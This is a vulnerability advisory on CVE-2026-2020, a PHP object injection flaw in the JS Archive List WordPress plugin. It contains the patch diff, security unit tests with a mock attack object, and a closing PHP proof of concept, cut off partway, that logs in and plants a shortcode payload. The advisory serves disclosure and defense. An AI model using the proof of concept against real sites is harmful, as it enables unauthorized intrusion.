Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2020: JS Archive List <= 6.1.7 – Authenticated (Contributor+) PHP Object Injection via 'included' Shortcode Attribute (jquery-archive-list-widget)

CVE ID CVE-2026-2020
Severity High (CVSS 7.5)
CWE 502
Vulnerable Version 6.1.7
Patched Version 6.2.0
Disclosed March 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2020:
The vulnerability is a PHP object injection flaw in the JS Archive List WordPress plugin. The root cause is the unsafe deserialization of user-controlled input in the `included` shortcode attribute. The plugin’s `Js_Archive_List_Settings` constructor in `class-js-archive-list-settings.php` directly passed the `$settings[‘included’]` value to `unserialize()` without validation. This allowed an authenticated attacker with Contributor-level access to supply a serialized PHP object via the shortcode. The plugin’s shortcode handler processes the `included` attribute, which flows into the `translateDbSettingsToInternal` static method, triggering deserialization. No known POP chain exists in the plugin, but a chain from another plugin or theme could lead to arbitrary file deletion, data disclosure, or code execution.

The patch replaces the unsafe `unserialize()` call with a secure `normalize_category_ids` method. This new method checks if the input is a serialized string using `is_serialized()`. It then passes the `allowed_classes` option set to `false` to `unserialize()`, preventing object instantiation. The method also sanitizes the resulting array to contain only positive integers. The patch updates the plugin version to 6.2.0 and adds PHPUnit tests for the security fix.

Differential between vulnerable and patched code

Code Diff
--- a/jquery-archive-list-widget/assets/public/main.asset.php
+++ b/jquery-archive-list-widget/assets/public/main.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '98829dd444d1a2599b83');
--- a/jquery-archive-list-widget/build/index.asset.php
+++ b/jquery-archive-list-widget/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => 'b60bb6b41da71dd2fe96');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n'), 'version' => '44bdc6c75951c365267c');
--- a/jquery-archive-list-widget/build/view.asset.php
+++ b/jquery-archive-list-widget/build/view.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n'), 'version' => '4f7c367cbae28c505951');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n'), 'version' => '7871f0af1a79545d1614');
--- a/jquery-archive-list-widget/classes/class-jq-archive-list-datasource.php
+++ b/jquery-archive-list-widget/classes/class-jq-archive-list-datasource.php
@@ -56,7 +56,7 @@
     protected function build_sql_join(): string {
         global $wpdb;
         $join = '';
-        if ($this->has_filtering_categories() || $this->only_show_cur_category()) {
+        if ($this->has_included_categories() || $this->only_show_cur_category()) {
             $join = sprintf(' LEFT JOIN %s ON(%s.ID = %s.object_id)',
                 $wpdb->term_relationships, $wpdb->posts, $wpdb->term_relationships
             );
@@ -77,6 +77,24 @@
     }

     /**
+     * Check if user selected categories for inclusion.
+     *
+     * @return bool
+     */
+    private function has_included_categories(): bool {
+        return !empty($this->config['included']);
+    }
+
+    /**
+     * Check if user selected categories for exclusion.
+     *
+     * @return bool
+     */
+    private function has_excluded_categories(): bool {
+        return !empty($this->config['excluded']);
+    }
+
+    /**
      * Returns if the option to show only current categories was selected and current page is a category page.
      *
      * @return bool
@@ -110,14 +128,42 @@
             $where_parts[] = 'MONTH(post_date) = %d';
             $prepare_args[] = $month;
         }
-        $ids_key = !empty($this->config['included']) ? 'included' : (!empty($this->config['excluded']) ? 'excluded' : null);
-        if ($ids_key) {
-            $ids = is_array($this->config[$ids_key]) ? $this->config[$ids_key] : explode(',', $this->config[$ids_key]);
-            $ids = array_map('intval', $ids);
-            $placeholders = implode(', ', array_fill(0, count($ids), '%d'));
-            $operator = $ids_key === 'included' ? 'IN' : 'NOT IN';
-            $where_parts[] = sprintf('%s.term_id %s (%s)', $wpdb->term_taxonomy, $operator, $placeholders);
-            $prepare_args = array_merge($prepare_args, $ids);
+        if ($this->has_included_categories()) {
+            $ids = is_array($this->config['included']) ? $this->config['included'] : explode(',', $this->config['included']);
+            $ids = array_values(array_filter(array_map('intval', $ids), static function ($id) {
+                return $id > 0;
+            }));
+
+            if (!empty($ids)) {
+                $placeholders = implode(', ', array_fill(0, count($ids), '%d'));
+                $where_parts[] = sprintf('%s.term_id IN (%s)', $wpdb->term_taxonomy, $placeholders);
+                $prepare_args = array_merge($prepare_args, $ids);
+            }
+        }
+
+        if ($this->has_excluded_categories()) {
+            $ids = is_array($this->config['excluded']) ? $this->config['excluded'] : explode(',', $this->config['excluded']);
+            $ids = array_values(array_filter(array_map('intval', $ids), static function ($id) {
+                return $id > 0;
+            }));
+
+            if (!empty($ids)) {
+                $placeholders = implode(', ', array_fill(0, count($ids), '%d'));
+                $where_parts[] = sprintf(
+                    '%s.ID NOT IN (
+                        SELECT tr.object_id
+                        FROM %s tr
+                        INNER JOIN %s tt ON tr.term_taxonomy_id = tt.term_taxonomy_id
+                        WHERE tt.taxonomy = %%s AND tt.term_id IN (%s)
+                    )',
+                    $wpdb->posts,
+                    $wpdb->term_relationships,
+                    $wpdb->term_taxonomy,
+                    $placeholders
+                );
+                $prepare_args[] = 'category';
+                $prepare_args = array_merge($prepare_args, $ids);
+            }
         }
         if ($this->only_show_cur_category()) {
             $query_cat = get_query_var('cat');
@@ -130,7 +176,7 @@
                 $prepare_args = array_merge($prepare_args, $categories_ids);
             }
         }
-        if ($this->has_filtering_categories() || $this->only_show_cur_category()) {
+        if ($this->has_included_categories() || $this->only_show_cur_category()) {
             $where_parts[] = $wpdb->term_taxonomy . '.taxonomy=%s';
             $prepare_args[] = 'category';
         }
--- a/jquery-archive-list-widget/classes/class-jq-archive-list-widget.php
+++ b/jquery-archive-list-widget/classes/class-jq-archive-list-widget.php
@@ -37,7 +37,7 @@
 	public function __construct() {
 		parent::__construct( 'jal_widget', 'JS Archive List Widget (Legacy)', [
 			'classname'             => 'widget_archive widget_jaw_widget',
-			'description'           => __( 'A widget for displaying an archive list with some effects.', 'jalw_i18n' ),
+			'description'           => __( 'A widget for displaying an archive list with some effects.', 'jquery-archive-list-widget' ),
 			'show_instance_in_rest' => true,
 		] );
 	}
@@ -61,7 +61,7 @@
 		//add_filter( 'widget_types_to_hide_from_legacy_widget_block', [ $self, 'hide_jal_widget'] );

 		if ( function_exists( 'load_plugin_textdomain' ) ) {
-			load_plugin_textdomain( 'jalw_i18n', null, basename( dirname( __FILE__ ) ) . '/languages' );
+			load_plugin_textdomain( 'jquery-archive-list-widget', null, basename( dirname( __FILE__ ) ) . '/languages' );
 			load_default_textdomain();
 		}

@@ -155,7 +155,7 @@
 		);

 		if ( count( $years ) < 1 ) {
-			$html .= '<li>' . __( 'There are no post to show.', 'jalw_i18n' ) . '</li>';
+			$html .= '<li>' . __( 'There are no post to show.', 'jquery-archive-list-widget' ) . '</li>';
 		} else {
 			$html .= $this->html_years( $years );
 		}
@@ -445,7 +445,7 @@
 		$include_or_excluded = $instance['include-or-exclude'] ?? 'exclude';
 		?>
       <dl>
-        <dt><strong><?php _e( 'Title', 'jalw_i18n' ); ?></strong></dt>
+        <dt><strong><?php _e( 'Title', 'jquery-archive-list-widget' ); ?></strong></dt>
         <dd>
           <input
             name="<?php echo $this->get_field_name( 'title' ); ?>"
@@ -453,14 +453,14 @@
             value="<?php echo esc_attr( $instance['title'] ); ?>"
           />
         </dd>
-        <dt><strong><?php _e( 'Trigger Symbol', 'jalw_i18n' ); ?></strong></dt>
+        <dt><strong><?php _e( 'Trigger Symbol', 'jquery-archive-list-widget' ); ?></strong></dt>
         <dd>
           <select
             id="<?php echo $this->get_field_id( 'symbol' ); ?>"
             name="<?php echo $this->get_field_name( 'symbol' ); ?>"
           >
             <option value="0" <?php selected( $instance['symbol'], 0 ); ?> >
-				<?php _e( 'Empty Space', 'jalw_i18n' ); ?>
+				<?php _e( 'Empty Space', 'jquery-archive-list-widget' ); ?>
             </option>
             <option value="1" <?php selected( $instance['symbol'], 1 ); ?> >
               ► ▼
@@ -473,24 +473,24 @@
             </option>
           </select>
         </dd>
-        <dt><strong><?php _e( 'Effect', 'jalw_i18n' ); ?></strong></dt>
+        <dt><strong><?php _e( 'Effect', 'jquery-archive-list-widget' ); ?></strong></dt>
         <dd>
           <select
             id="<?php echo $this->get_field_id( 'effect' ); ?>"
             name="<?php echo $this->get_field_name( 'effect' ); ?>"
           >
             <option value="none" <?php selected( $instance['effect'], '' ); ?>>
-				<?php _e( 'None', 'jalw_i18n' ); ?>
+				<?php _e( 'None', 'jquery-archive-list-widget' ); ?>
             </option>
             <option value="slide" <?php selected( $instance['effect'], 'slide' ); ?> >
-				<?php _e( 'Slide( Accordion )', 'jalw_i18n' ); ?>
+				<?php _e( 'Slide( Accordion )', 'jquery-archive-list-widget' ); ?>
             </option>
             <option value="fade" <?php selected( $instance['effect'], 'fade' ); ?> >
-				<?php _e( 'Fade', 'jalw_i18n' ); ?>
+				<?php _e( 'Fade', 'jquery-archive-list-widget' ); ?>
             </option>
           </select>
         </dd>
-        <dt><strong><?php _e( 'Month Format', 'jalw_i18n' ); ?></strong></dt>
+        <dt><strong><?php _e( 'Month Format', 'jquery-archive-list-widget' ); ?></strong></dt>
         <dd>
           <select
             id="<?php echo $this->get_field_id( 'month_format' ); ?>"
@@ -498,46 +498,46 @@
           >
             <option
               value="full" <?php selected( $instance['month_format'], 'full' ); ?> >
-				<?php _e( 'Full Name( January )', 'jalw_i18n' ); ?>
+				<?php _e( 'Full Name( January )', 'jquery-archive-list-widget' ); ?>
             </option>
             <option
               value="short" <?php selected( $instance['month_format'], 'short' ); ?> >
-				<?php _e( 'Short Name( Jan )', 'jalw_i18n' ); ?>
+				<?php _e( 'Short Name( Jan )', 'jquery-archive-list-widget' ); ?>
             </option>
             <option
               value="number" <?php selected( $instance['month_format'], 'number' ); ?> >
-				<?php _e( 'Number( 01 )', 'jalw_i18n' ); ?>
+				<?php _e( 'Number( 01 )', 'jquery-archive-list-widget' ); ?>
             </option>
           </select>
         </dd>
-        <dt><strong><?php _e( 'Expand', 'jalw_i18n' ); ?></strong></dt>
+        <dt><strong><?php _e( 'Expand', 'jquery-archive-list-widget' ); ?></strong></dt>
         <dd>
           <select
             id="<?php echo $this->get_field_id( 'expand' ); ?>"
             name="<?php echo $this->get_field_name( 'expand' ); ?>"
           >
             <option value="" <?php selected( $instance['expand'], '' ); ?>>
-				<?php _e( 'None', 'jalw_i18n' ); ?>
+				<?php _e( 'None', 'jquery-archive-list-widget' ); ?>
             </option>
             <option value="all" <?php selected( $instance['expand'], 'all' ); ?> >
-				<?php _e( 'All', 'jalw_i18n' ); ?>
+				<?php _e( 'All', 'jquery-archive-list-widget' ); ?>
             </option>
             <option
               value="current" <?php selected( $instance['expand'], 'current' ); ?> >
-				<?php _e( 'Current or post date', 'jalw_i18n' ); ?>
+				<?php _e( 'Current or post date', 'jquery-archive-list-widget' ); ?>
             </option>
             <option
               value="current_post" <?php selected( $instance['expand'], 'current_post' ); ?> >
-				<?php _e( 'Only post date', 'jalw_i18n' ); ?>
+				<?php _e( 'Only post date', 'jquery-archive-list-widget' ); ?>
             </option>
             <option
               value="current_date" <?php selected( $instance['expand'], 'current_date' ); ?> >
-				<?php _e( 'Only current date', 'jalw_i18n' ); ?>
+				<?php _e( 'Only current date', 'jquery-archive-list-widget' ); ?>
             </option>
           </select>
         </dd>

-        <dt><strong><?php _e( 'Extra options', 'jalw_i18n' ); ?></strong></dt>
+        <dt><strong><?php _e( 'Extra options', 'jquery-archive-list-widget' ); ?></strong></dt>
         <dd>
           <input
             id="<?php echo $this->get_field_id( 'showcount' ); ?>"
@@ -546,7 +546,7 @@
             value="1"
           />
           <label for="<?php echo $this->get_field_id( 'showcount' ); ?>">
-			  <?php _e( 'Show number of posts', 'jalw_i18n' ); ?>
+			  <?php _e( 'Show number of posts', 'jquery-archive-list-widget' ); ?>
           </label>
         </dd>
         <dd>
@@ -557,7 +557,7 @@
             value="1"
           />
           <label for="<?php echo $this->get_field_id( 'showpost' ); ?>">
-			  <?php _e( 'Show posts under months', 'jalw_i18n' ); ?>
+			  <?php _e( 'Show posts under months', 'jquery-archive-list-widget' ); ?>
           </label>
         </dd>
         <dd>
@@ -568,7 +568,7 @@
             value="1"
           />
           <label for="<?php echo $this->get_field_id( 'onlycategory' ); ?>">
-			  <?php _e( 'Show only post from selected category in a category page', 'jalw_i18n' ); ?>
+			  <?php _e( 'Show only post from selected category in a category page', 'jquery-archive-list-widget' ); ?>
           </label>
         </dd>
         <dd>
@@ -579,7 +579,7 @@
             value="1" <?php echo $instance['only_sym_link'] ? 'checked="checked"' : ''; ?>
           />
           <label for="<?php echo $this->get_field_id( 'only_sym_link' ); ?>">
-			  <?php _e( 'Only expand / reduce by clicking the symbol', 'jalw_i18n' ); ?>
+			  <?php _e( 'Only expand / reduce by clicking the symbol', 'jquery-archive-list-widget' ); ?>
           </label>
         </dd>
         <dd>
@@ -590,7 +590,7 @@
             value="1" <?php echo $instance['accordion'] ? 'checked="checked"' : ''; ?>
           />
           <label for="<?php echo $this->get_field_id( 'accordion' ); ?>">
-			  <?php _e( 'Only expand one at a the same time (accordion effect)', 'jalw_i18n' ); ?>
+			  <?php _e( 'Only expand one at a the same time (accordion effect)', 'jquery-archive-list-widget' ); ?>
           </label>
         </dd>
         <dt class="jaw-include-or-exclude">
@@ -608,7 +608,7 @@
 			  <?php checked( $include_or_excluded, 'include' ); ?>
           />
           <label for="<?php echo $this->get_field_id( 'include-or-exclude' ); ?>-include">
-			  <?php _e( 'Include the following categories', 'jalw_i18n' ); ?>
+			  <?php _e( 'Include the following categories', 'jquery-archive-list-widget' ); ?>
           </label><br>
           <input
             id="<?php echo $this->get_field_id( 'include-or-exclude' ); ?>-exclude"
@@ -620,14 +620,14 @@
 			  <?php checked( $include_or_excluded, 'exclude' ) ?>
           />
           <label for="<?php echo $this->get_field_id( 'include-or-exclude' ); ?>-exclude">
-			  <?php _e( 'Exclude the following categories', 'jalw_i18n' ); ?>
+			  <?php _e( 'Exclude the following categories', 'jquery-archive-list-widget' ); ?>
           </label>
           <dl>
             <dt
               class="jaw-exclude <?php echo $this->get_field_id( 'excluded' ) ?>"
               style="display:<?php echo $includeCategories ? 'none' : 'block'; ?>"
             >
-              <strong><?php _e( 'Exclude categories', 'jalw_i18n' ); ?></strong>
+              <strong><?php _e( 'Exclude categories', 'jquery-archive-list-widget' ); ?></strong>
             </dt>
             <dd
               class="jaw-exclude <?php echo $this->get_field_id( 'excluded' ) ?>"
@@ -644,7 +644,7 @@
               class="jaw-include <?php echo $this->get_field_id( 'included' ) ?>"
               style="display:<?php echo ! $includeCategories ? 'none' : 'block'; ?>"
             >
-              <strong><?php _e( 'Include categories', 'jalw_i18n' ); ?></strong>
+              <strong><?php _e( 'Include categories', 'jquery-archive-list-widget' ); ?></strong>
             </dt>
             <dd
               class="jaw-include <?php echo $this->get_field_id( 'included' ) ?>"
--- a/jquery-archive-list-widget/classes/class-js-archive-list-settings.php
+++ b/jquery-archive-list-widget/classes/class-js-archive-list-settings.php
@@ -3,16 +3,56 @@
 class Js_Archive_List_Settings {
 	private $config;

+	public function get_config() {
+		return $this->config;
+	}
+
 	public function __construct( $settings ) {
 		$this->config = $settings;

-		if ( is_string( $settings['included'] ) ) {
-			$this->config['included'] = unserialize( $settings['included'] );
-		}
+		$this->config['included'] = self::normalize_category_ids( $settings['included'] ?? [] );
+		$this->config['excluded'] = self::normalize_category_ids( $settings['excluded'] ?? [] );
+	}

-		if ( is_string( $settings['excluded'] ) ) {
-			$this->config['excluded'] = unserialize( $settings['excluded'] );
+	/**
+	 * Parses category IDs from array/serialized array while rejecting unsafe payloads.
+	 *
+	 * @param mixed $raw_ids Value from DB or shortcode attributes.
+	 *
+	 * @return array<int>
+	 */
+	private static function normalize_category_ids( $raw_ids ) {
+		$ids = [];
+
+		if ( is_array( $raw_ids ) ) {
+			$ids = $raw_ids;
+		} elseif ( is_string( $raw_ids ) ) {
+			$trimmed = trim( $raw_ids );
+
+			if ( '' !== $trimmed && is_serialized( $trimmed ) ) {
+				$parsed = unserialize( $trimmed, [ 'allowed_classes' => false ] );
+
+				if ( false !== $parsed || 'b:0;' === $trimmed ) {
+					$ids = is_array( $parsed ) ? $parsed : [];
+				}
+			}
 		}
+
+		$normalized_ids = array_values(
+			array_unique(
+				array_filter(
+					array_map(
+						'intval',
+						array_filter( $ids, 'is_scalar' )
+					),
+					static function ( $id ) {
+						return $id > 0;
+					}
+				)
+			)
+		);
+
+		return $normalized_ids;
 	}

 	/**
@@ -57,6 +97,7 @@
 	 */
 	public static function translateDbSettingsToInternal( &$config ) {
 		$jalwSettings = new self( $config );
+		$config       = $jalwSettings->get_config();
 		$symbols      = $jalwSettings->symbols();

 		if ( empty( $config['ex_sym'] ) && $config['ex_sym'] !== "" ) {
--- a/jquery-archive-list-widget/jquery-archive-list-widget.php
+++ b/jquery-archive-list-widget/jquery-archive-list-widget.php
@@ -3,13 +3,16 @@
   Plugin Name: JS Archive List
   Plugin URI: http://skatox.com/blog/jquery-archive-list-widget/
   Description: A widget for displaying an archive list with some effects.
-  Version: 6.1.7
+  Version: 6.2.0
+  Requires at least: 4.7
+  Requires PHP: 7.4
   Author: Miguel Angel Useche Castro
   Author URI: https://migueluseche.com/
-  Text Domain: jalw_i18n
+  Text Domain: jquery-archive-list-widget
   Domain Path: /languages
-  License: GPL2
-  Copyleft 2009-2026  Miguel Angel Useche Castro (email : migueluseche@skatox.com)
+  License: GPLv2
+  License URI: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html
+  Copyleft 2009-2024  Miguel Angel Useche Castro (email : migueluseche@skatox.com)

   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
@@ -35,7 +38,7 @@
 	define( 'JAL_BASE_URL', plugin_dir_url( __FILE__ ) );
 }
 if ( ! defined( 'JAL_VERSION' ) ) {
-	define( 'JAL_VERSION', '6.1.7' );
+	define( 'JAL_VERSION', '6.2.0' );
 }

 require_once( 'admin/class-jaw-walker-category-checklist.php' );
@@ -59,7 +62,7 @@
 	);

 	wp_set_script_translations(
-		'jalw_i18n-script', 'jalw_i18n',
+		'jquery-archive-list-widget-script', 'jquery-archive-list-widget',
 		plugin_dir_path( __FILE__ ) . 'languages'
 	);
 }
--- a/jquery-archive-list-widget/tests/phpunit/LegacyCategoryFilteringSqlTest.php
+++ b/jquery-archive-list-widget/tests/phpunit/LegacyCategoryFilteringSqlTest.php
@@ -0,0 +1,69 @@
+<?php
+/**
+ * Tests SQL category filtering generated for legacy datasource mode.
+ *
+ * @package js-archive-list
+ */
+
+use PHPUnitFrameworkTestCase;
+
+class Jalw_Testable_DataSource extends JQ_Archive_List_DataSource {
+	public function exposed_build_sql_where( ?int $year = null, ?int $month = null ): array {
+		return $this->build_sql_where( $year, $month );
+	}
+
+	public function exposed_build_sql_join(): string {
+		return $this->build_sql_join();
+	}
+}
+
+class LegacyCategoryFilteringSqlTest extends TestCase {
+
+	protected function setUp(): void {
+		parent::setUp();
+
+		global $wpdb;
+		$wpdb = (object) [
+			'posts'              => 'wp_posts',
+			'term_relationships' => 'wp_term_relationships',
+			'term_taxonomy'      => 'wp_term_taxonomy',
+		];
+	}
+
+	public function test_excluded_categories_use_post_level_subquery() {
+		$data_source = new Jalw_Testable_DataSource(
+			[
+				'type'     => 'post',
+				'excluded' => [ 3, 7 ],
+			],
+			true
+		);
+
+		[ $where, $args ] = $data_source->exposed_build_sql_where();
+
+		$this->assertStringContainsString( 'wp_posts.ID NOT IN (', $where );
+		$this->assertStringContainsString( 'SELECT tr.object_id', $where );
+		$this->assertStringNotContainsString( 'wp_term_taxonomy.term_id NOT IN', $where );
+		$this->assertSame( [ '', 'post', 'publish', 'category', 3, 7 ], $args );
+		$this->assertSame( '', $data_source->exposed_build_sql_join() );
+	}
+
+	public function test_included_categories_keep_join_based_filtering() {
+		$data_source = new Jalw_Testable_DataSource(
+			[
+				'type'     => 'post',
+				'included' => [ 2, 5 ],
+			],
+			true
+		);
+
+		[ $where, $args ] = $data_source->exposed_build_sql_where();
+		$join = $data_source->exposed_build_sql_join();
+
+		$this->assertStringContainsString( 'wp_term_taxonomy.term_id IN (%d, %d)', $where );
+		$this->assertStringContainsString( 'wp_term_taxonomy.taxonomy=%s', $where );
+		$this->assertStringContainsString( 'LEFT JOIN wp_term_relationships', $join );
+		$this->assertStringContainsString( 'LEFT JOIN wp_term_taxonomy', $join );
+		$this->assertSame( [ '', 'post', 'publish', 2, 5, 'category' ], $args );
+	}
+}
--- a/jquery-archive-list-widget/tests/phpunit/ShortcodeDeserializationSecurityTest.php
+++ b/jquery-archive-list-widget/tests/phpunit/ShortcodeDeserializationSecurityTest.php
@@ -0,0 +1,137 @@
+<?php
+/**
+ * Tests for secure category ID deserialization.
+ *
+ * @package js-archive-list
+ */
+
+use PHPUnitFrameworkTestCase;
+use PHPUnitFrameworkAttributesDataProvider;
+
+class Jalw_Test_Attack_Object {
+	public function __wakeup() {
+		$GLOBALS['jalw_attack_wakeup_triggered'] = true;
+	}
+}
+
+class ShortcodeDeserializationSecurityTest extends TestCase {
+
+	protected function setUp(): void {
+		parent::setUp();
+		$GLOBALS['jalw_attack_wakeup_triggered'] = false;
+	}
+
+	#[DataProvider( 'legacy_serialized_included_provider' )]
+	public function test_accepts_legacy_serialized_arrays_of_ids( $included, $expected ) {
+		$config = $this->build_config( [
+			'included' => $included,
+		] );
+
+		Js_Archive_List_Settings::translateDbSettingsToInternal( $config );
+
+		$this->assertSame( $expected, $config['included'] );
+	}
+
+	public static function legacy_serialized_included_provider() {
+		yield 'ints and numeric strings with duplicates and invalid ids' => [
+			'a:5:{i:0;i:5;i:1;s:1:"8";i:2;i:0;i:3;s:1:"5";i:4;s:2:"-1";}',
+			[ 5, 8 ],
+		];
+
+		yield 'serialized empty array' => [
+			'a:0:{}',
+			[],
+		];
+	}
+
+	#[DataProvider( 'blocked_object_payload_provider' )]
+	public function test_blocks_object_deserialization_payloads( $included, $expected ) {
+		$config = $this->build_config( [
+			'included' => $included,
+		] );
+
+		Js_Archive_List_Settings::translateDbSettingsToInternal( $config );
+
+		$this->assertSame( $expected, $config['included'] );
+		$this->assertFalse( $GLOBALS['jalw_attack_wakeup_triggered'] );
+	}
+
+	public static function blocked_object_payload_provider() {
+		yield 'serialized array with object payload' => [
+			serialize( [ 7, new Jalw_Test_Attack_Object() ] ),
+			[ 7 ],
+		];
+
+		yield 'serialized object only' => [
+			serialize( new Jalw_Test_Attack_Object() ),
+			[],
+		];
+	}
+
+	#[DataProvider( 'invalid_string_provider' )]
+	public function test_ignores_non_serialized_string_input( $included, $excluded ) {
+		$config = $this->build_config( [
+			'included' => $included,
+			'excluded' => $excluded,
+		] );
+
+		Js_Archive_List_Settings::translateDbSettingsToInternal( $config );
+
+		$this->assertSame( [], $config['included'] );
+		$this->assertSame( [], $config['excluded'] );
+	}
+
+	public static function invalid_string_provider() {
+		yield 'comma-separated ids' => [
+			'10,11,12',
+			'not-serialized',
+		];
+
+		yield 'free text' => [
+			'this is not serialized',
+			'neither is this',
+		];
+	}
+
+	#[DataProvider( 'array_normalization_provider' )]
+	public function test_normalizes_array_payloads( $included, $excluded, $expected_included, $expected_excluded ) {
+		$config = $this->build_config( [
+			'included' => $included,
+			'excluded' => $excluded,
+		] );
+
+		Js_Archive_List_Settings::translateDbSettingsToInternal( $config );
+
+		$this->assertSame( $expected_included, $config['included'] );
+		$this->assertSame( $expected_excluded, $config['excluded'] );
+	}
+
+	public static function array_normalization_provider() {
+		yield 'mixed scalars and duplicates' => [
+			[ '4', 4, -3, 0, 'abc', 9 ],
+			[ '2', 2, 3 ],
+			[ 4, 9 ],
+			[ 2, 3 ],
+		];
+
+		yield 'booleans and float strings' => [
+			[ true, false, '6.8', '0012' ],
+			[ 1.2, '0', '-2', '15' ],
+			[ 1, 6, 12 ],
+			[ 1, 15 ],
+		];
+	}
+
+	private function build_config( $overrides = [] ) {
+		return array_merge(
+			[
+				'symbol'   => 1,
+				'ex_sym'   => '',
+				'con_sym'  => '',
+				'included' => [],
+				'excluded' => [],
+			],
+			$overrides
+		);
+	}
+}
--- a/jquery-archive-list-widget/tests/phpunit/bootstrap.php
+++ b/jquery-archive-list-widget/tests/phpunit/bootstrap.php
@@ -0,0 +1,98 @@
+<?php
+
+declare(strict_types=1);
+
+/**
+ * Lightweight test bootstrap for pure PHPUnit unit tests.
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	define( 'ABSPATH', dirname( __DIR__, 2 ) . '/' );
+}
+
+if ( ! function_exists( 'is_serialized' ) ) {
+	/**
+	 * Minimal equivalent of WordPress is_serialized() for this test suite.
+	 *
+	 * @param mixed $data Serialized candidate.
+	 *
+	 * @return bool
+	 */
+	function is_serialized( $data ) {
+		if ( ! is_string( $data ) ) {
+			return false;
+		}
+
+		$data = trim( $data );
+
+		if ( 'N;' === $data ) {
+			return true;
+		}
+
+		if ( strlen( $data ) < 4 || ':' !== $data[1] ) {
+			return false;
+		}
+
+		$lastc = substr( $data, -1 );
+		if ( ';' !== $lastc && '}' !== $lastc ) {
+			return false;
+		}
+
+		$token = $data[0];
+		switch ( $token ) {
+			case 's':
+				return preg_match( '/^s:[0-9]+:".*";$/s', $data ) === 1;
+			case 'a':
+			case 'O':
+			case 'E':
+				return preg_match( '/^' . $token . ':[0-9]+:/s', $data ) === 1;
+			case 'b':
+			case 'i':
+			case 'd':
+				return preg_match( '/^' . $token . ':[0-9.E-]+;$/', $data ) === 1;
+		}
+
+		return false;
+	}
+}
+
+if ( ! function_exists( 'apply_filters' ) ) {
+	/**
+	 * Minimal apply_filters stub for unit tests.
+	 *
+	 * @param string $hook_name Hook name.
+	 * @param mixed  $value     Value to filter.
+	 *
+	 * @return mixed
+	 */
+	function apply_filters( $hook_name, $value ) {
+		return $value;
+	}
+}
+
+if ( ! function_exists( 'get_query_var' ) ) {
+	/**
+	 * Minimal get_query_var stub for unit tests.
+	 *
+	 * @param string $name Query var name.
+	 *
+	 * @return mixed
+	 */
+	function get_query_var( $name ) {
+		return null;
+	}
+}
+
+if ( ! function_exists( 'is_category' ) ) {
+	/**
+	 * Minimal is_category stub for unit tests.
+	 *
+	 * @return bool
+	 */
+	function is_category() {
+		return false;
+	}
+}
+
+require dirname( __DIR__, 2 ) . '/classes/class-js-archive-list-settings.php';
+require dirname( __DIR__, 2 ) . '/classes/class-jq-archive-list-datasource.php';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2020 - JS Archive List <= 6.1.7 - Authenticated (Contributor+) PHP Object Injection via 'included' Shortcode Attribute
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor';
$password = 'password';

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Get the login page to retrieve nonce
$response = curl_exec($ch);
preg_match('/name="log"[^>]*value="([^"]*)"/', $response, $log);
preg_match('/name="pwd"[^>]*value="([^"]*)"/', $response, $pwd);

// Prepare POST data for login
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $admin_url,
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);

// Step 2: Create a post with a malicious shortcode
// The shortcode uses the 'included' attribute with a serialized PHP object payload.
// This example uses a serialized array; a real exploit would use a POP chain object.
$create_post_url = $target_url . '/wp-admin/post-new.php';
$payload = serialize([1, 2, 3]); // Replace with actual object payload if POP chain known
$shortcode = '[jsarchive included="' . $payload . '"]';
$post_data = [
    'post_title' => 'Exploit Post',
    'content' => $shortcode,
    'publish' => 'Publish',
    'post_type' => 'post'
];

curl_setopt($ch, CURLOPT_URL, $create_post_url);
